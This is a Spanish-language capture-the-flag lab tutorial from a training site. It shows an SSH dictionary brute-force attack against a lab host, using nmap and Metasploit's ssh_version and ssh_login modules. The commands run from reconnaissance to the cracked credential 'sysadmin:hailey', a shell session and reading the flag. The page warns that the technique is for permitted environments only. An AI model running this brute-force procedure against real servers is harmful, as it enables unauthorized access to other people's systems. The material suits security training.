GhostAcademy logo GhostAcademy

SSH Login: Fuerza Bruta

REDES Y SISTEMAS LINUX FUERZA BRUTA SSH METASPLOIT

🔑 Ataque de Fuerza Bruta contra SSH

SSH (Secure Shell) es el protocolo estándar para administración remota segura. A pesar de su cifrado, si las credenciales son débiles, un ataque de fuerza bruta por diccionario puede descubrirlas. Metasploit incluye el módulo ssh_login para automatizar este proceso.

Los ataques de fuerza bruta generan múltiples intentos de autenticación fallidos. Son fácilmente detectables por fail2ban, logs de syslog y SIEM. Solo usar en entornos controlados con permiso.
ParámetroValor de ejemploDescripción
RHOSTS192.245.211.3IP del servidor SSH objetivo
USER_FILEcommon_users.txtDiccionario de usuarios
PASS_FILEcommon_passwords.txtDiccionario de contraseñas
STOP_ON_SUCCESStrueParar al encontrar primera credencial
VERBOSEtrueMostrar todos los intentos

🔍 Fase 1 — Reconocimiento SSH

Detectar versión SSH
nmap -sS -sV 192.245.211.3
# OpenSSH 7.9p1 Ubuntu en puerto 22/TCP
Confirmar con Metasploit
msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.245.211.3
exploit
# Confirma Ubuntu Linux 19.04

💥 Fase 2 — Ataque de diccionario

Fuerza bruta de credenciales SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.245.211.3
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
# Resultado: sysadmin:hailey

🔓 Fase 3 — Acceso y flag

Interactuar con la sesión SSH
sessions
sessions -i 1
# Shell como sysadmin
Localizar y leer la flag
find / -name "flag" 2>/dev/null
cat /flag

📋 Flujo del ataque

1
ReconocimientoEscanear y detectar versión de OpenSSH.
2
EnumeraciónConfirmar versión y SO con ssh_version.
3
Fuerza brutassh_login con diccionarios para encontrar credenciales.
4
AccesoAbrir sesión SSH como usuario válido.
5
FlagBuscar y leer la flag.

🧠 Conceptos clave